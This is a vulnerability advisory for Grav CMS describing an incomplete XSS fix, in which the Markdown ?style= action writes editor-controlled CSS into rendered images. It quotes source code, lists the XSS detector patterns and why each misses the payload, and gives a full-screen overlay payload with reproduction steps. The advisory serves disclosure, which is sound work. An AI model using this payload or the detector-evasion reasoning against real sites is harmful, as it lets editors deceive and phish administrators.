CVE-2026-55890

The fix for GHSA-r7fx-8g49-7hhr / CVE-2026-42841 (Stored XSS via Markdown media attribute() action) is incomplete. The maintainer patched MediaObjectTrait::attribute() to deny dangerous attribute names (event handlers, style, xmlns, srcdoc, formaction) but the sibling MediaObjectTrait::style() method is reachable through the same Markdown excerpt-action pipeline and writes editor-controlled strings straight into the rendered <img style="…"> attribute with no sanitization.

Any user with admin.pages permission (e.g. an editor) can save Markdown like:

![logo](image.png?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999)

which renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue, the fix simply patched the attribute() entry point and missed the style() sibling.

Affected versions

Vulnerable at HEAD across every currently-shipping branch (verified 2026-06-15):

Per SECURITY.md, this advisory targets the 2.0 line (publisher-level exploit, not eligible for 1.7 backport per the project's stated policy).

Trust boundary

Per the project's SECURITY.md:

A vulnerability is when an actor can escape the trust scope of their role: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted.

An editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor's page in their authenticated session and getting attacker-controlled CSS painted into their browser is across the trust boundary, the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE).

Details

Original GHSA-r7fx-8g49-7hhr fix (commit 5a12f9be8, 2026-04-23)

public function attribute($attribute = null, $value = '')
{
    if (empty($attribute) || !is_string($attribute)) {
        return $this;
    }
    if (!self::isSafeAttributeName($attribute)) {
        return $this;
    }
    $this->attributes[$attribute] = $value;
    return $this;
}

private static function isSafeAttributeName(string $name): bool
{
    if (!preg_match('/^[A-Za-z][A-Za-z0-9_:.\-]*$/', $name)) {
        return false;
    }
    $lower = strtolower($name);
    if (str_starts_with($lower, 'on')) {        // event handlers
        return false;
    }
    $denylist = ['style', 'xmlns', 'srcdoc', 'formaction'];
    return !in_array($lower, $denylist, true);
}

style is the second-named entry on the denylist, the maintainer explicitly recognised that editor-supplied style was dangerous when arriving via the attribute() action. The fix simply didn't reach the parallel sink.

The unpatched sibling: MediaObjectTrait::style() (line 519)

/**
 * Allows to add an inline style attribute from Markdown or Twig
 * Example: ![Example](myimg.png?style=float:left)
 */
public function style($style)
{
    $this->styleAttributes[] = rtrim($style, ';') . ';';
    return $this;
}

The function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (?style=…). The rtrim is for clean concatenation, not security.

$styleAttributes is concatenated and assigned to attributes['style'] in parsedownElement() (lines 242–251):

$style = '';
foreach ($this->styleAttributes as $key => $value) {
    if (is_numeric($key)) {        // editor-supplied entries are numeric-keyed
        $style .= $value;
    } else {
        $style .= $key . ': ' . $value . ';';
    }
}
if ($style) {
    $attributes['style'] = $style;
}

Parsedown then runs htmlspecialchars on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough.

Source → sink trace

The Markdown processor wires query-string keys to method calls on the Medium object (system/src/Grav/Common/Page/Markdown/Excerpts.php:262):

foreach ($actions as $action) {
    $matches = [];
    if (preg_match('/\[(.*)\]/', (string) $action['params'], $matches)) {
        $args = [explode(',', $matches[1])];
    } else {
        $args = explode(',', (string) $action['params']);
    }
    $medium = call_user_func_array([$medium, $action['method']], $args);
}

?style=position:fixed;top:0;left:0 becomes $medium->style('position:fixed;top:0;left:0').

Save-side XSS detector misses the payload

AdminController::savePage() runs Security::detectXssFromArray() on data[content] before persisting (classes/plugin/AdminController.php:1402). All five default patterns miss the Markdown form:

• on_events: requires <…on*= in source.
• invalid_protocols: requires javascript:/data:/etc., the phishing-overlay payload uses none.
• moz_binding: requires -moz-binding: literally.
• html_inline_styles: requires <…style=…(url:|x:expression); Markdown source has no < and no url:.
• dangerous_tags: requires <svg/<script/etc.

Save proceeds, the payload persists, the CSS is rendered to every viewer.

Proof of concept

A deterministic end-to-end PoC against a real Grav install ships with the finding (repro.sh). Steps:

1. Log in as an editor (admin.pages + admin.pages.update, no admin.super).
2. Upload a benign image to a target page.
3. Save the page with the Markdown payload ![alt](image?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999).
4. Visit the public page; observe the <img style="…"> carrying the unsanitised CSS.

References

• Original advisory: GHSA-r7fx-8g49-7hhr
• Fix commit: 5a12f9be8 (system/src/Grav/Common/Media/Traits/MediaObjectTrait.php)
• Unpatched code: system/src/Grav/Common/Media/Traits/MediaObjectTrait.php lines 519–524
• Project security policy: SECURITY.md (trust-boundary severity model)